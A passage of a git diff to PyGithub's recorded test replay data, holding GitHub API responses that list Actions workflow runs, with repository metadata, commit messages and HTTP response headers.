ithub.com/users/isouza-daitan/events{/privacy}","received_events_url":"https://api.github.com/users/isouza-daitan/received_events","type":"User","site_admin":false},"html_url":"https://github.com/isouza-daitan/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/isouza-daitan/PyGithub","forks_url":"https://api.github.com/repos/isouza-daitan/PyGithub/forks","keys_url":"https://api.github.com/repos/isouza-daitan/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/isouza-daitan/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/isouza-daitan/PyGithub/teams","hooks_url":"https://api.github.com/repos/isouza-daitan/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/isouza-daitan/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/isouza-daitan/PyGithub/events","assignees_url":"https://api.github.com/repos/isouza-daitan/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/isouza-daitan/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/isouza-daitan/PyGithub/tags","blobs_url":"https://api.github.com/repos/isouza-daitan/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/isouza-daitan/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/isouza-daitan/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/isouza-daitan/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/isouza-daitan/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/isouza-daitan/PyGithub/languages","stargazers_url":"https://api.github.com/repos/isouza-daitan/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/isouza-daitan/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/isouza-daitan/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/isouza-daitan/PyGithub/subscription","commits_url":"https://api.github.com/repos/isouza-daitan/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/isouza-daitan/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/isouza-daitan/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/isouza-daitan/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/isouza-daitan/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/isouza-daitan/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/isouza-daitan/PyGithub/merges","archive_url":"https://api.github.com/repos/isouza-daitan/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/isouza-daitan/PyGithub/downloads","issues_url":"https://api.github.com/repos/isouza-daitan/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/isouza-daitan/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/isouza-daitan/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/isouza-daitan/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/isouza-daitan/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/isouza-daitan/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/isouza-daitan/PyGithub/deployments"}},{"id":108817672,"node_id":"MDExOldvcmtmbG93UnVuMTA4ODE3Njcy","head_branch":"master","head_sha":"e79b9013fe71ac9e54a3576d99ad95898ee52cff","run_number":109,"event":"push","status":"completed","conclusion":"success","workflow_id":1026390,"url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/108817672","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/108817672","pull_requests":[],"created_at":"2020-05-19T02:28:36Z","updated_at":"2020-05-19T02:30:56Z","jobs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/108817672/jobs","logs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/108817672/logs","check_suite_url":"https://api.github.com/repos/PyGithub/PyGithub/check-suites/694638563","artifacts_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/108817672/artifacts","cancel_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/108817672/cancel","rerun_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/108817672/rerun","workflow_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1026390","head_commit":{"id":"e79b9013fe71ac9e54a3576d99ad95898ee52cff","tree_id":"664e6dc179f5f00831cc7ed635bd2e499815a6f0","message":"Turn on coverage reporting for codecov (#1522)\n\nSince we migrated from Travis to GitHub Actions, our coverage on codecov\r\nhas been reporting as 0%, since uploading the .coverage file is a\r\nterrible idea. Turn on XML-based reporting, ignore the file and use that\r\nwhen we upload to codecov.","timestamp":"2020-05-19T02:28:33Z","author":{"name":"Steve Kowalik","email":"steven@wedontsleep.org"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"head_repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"}}]} - diff --git a/tests/ReplayData/Workflow.testGetRunsWithObjects.txt b/tests/ReplayData/Workflow.testGetRunsWithObjects.txt index 3bd9827b44..e4deeb8019 100644 --- a/tests/ReplayData/Workflow.testGetRunsWithObjects.txt +++ b/tests/ReplayData/Workflow.testGetRunsWithObjects.txt @@ -41,4 +41,3 @@ None 200 [('Date', 'Wed, 20 May 2020 05:33:15 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4942'), ('X-RateLimit-Reset', '1589954408'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"b908de94ef99672180ca2a5e8493f5e7"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '8F08:50FC:D655F:F730D:5EC4C11B')] {"total_count":4,"workflow_runs":[{"id":100957683,"node_id":"MDExOldvcmtmbG93UnVuMTAwOTU3Njgz","head_branch":"master","head_sha":"f7cc534d50d8e157d67367b754df8a43434cebc5","run_number":98,"event":"push","status":"completed","conclusion":"success","workflow_id":1026390,"url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/100957683","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/100957683","pull_requests":[],"created_at":"2020-05-11T00:15:10Z","updated_at":"2020-05-11T00:17:33Z","jobs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/100957683/jobs","logs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/100957683/logs","check_suite_url":"https://api.github.com/repos/PyGithub/PyGithub/check-suites/669737232","artifacts_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/100957683/artifacts","cancel_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/100957683/cancel","rerun_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/100957683/rerun","workflow_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1026390","head_commit":{"id":"f7cc534d50d8e157d67367b754df8a43434cebc5","tree_id":"9655233832ac4858ead671707992d84c180f92ed","message":"docs(repository): correct releases link (#1514)","timestamp":"2020-05-11T00:15:06Z","author":{"name":"Max Wittig","email":"max.wittig@siemens.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"head_repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"}},{"id":94845611,"node_id":"MDExOldvcmtmbG93UnVuOTQ4NDU2MTE=","head_branch":"master","head_sha":"ba9d59c209c77b02556d191564859e39f70c2fb0","run_number":73,"event":"push","status":"completed","conclusion":"success","workflow_id":1026390,"url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/94845611","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/94845611","pull_requests":[],"created_at":"2020-05-04T01:47:09Z","updated_at":"2020-05-04T01:49:45Z","jobs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/94845611/jobs","logs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/94845611/logs","check_suite_url":"https://api.github.com/repos/PyGithub/PyGithub/check-suites/650163957","artifacts_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/94845611/artifacts","cancel_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/94845611/cancel","rerun_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/94845611/rerun","workflow_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1026390","head_commit":{"id":"ba9d59c209c77b02556d191564859e39f70c2fb0","tree_id":"c97fb618659ae0eed64c3c83b80a2106cf33dc82","message":"Add create_repository_dispatch to typing files (#1502)","timestamp":"2020-05-04T01:47:05Z","author":{"name":"Chris de Graaf","email":"chrisadegraaf@gmail.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"head_repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API 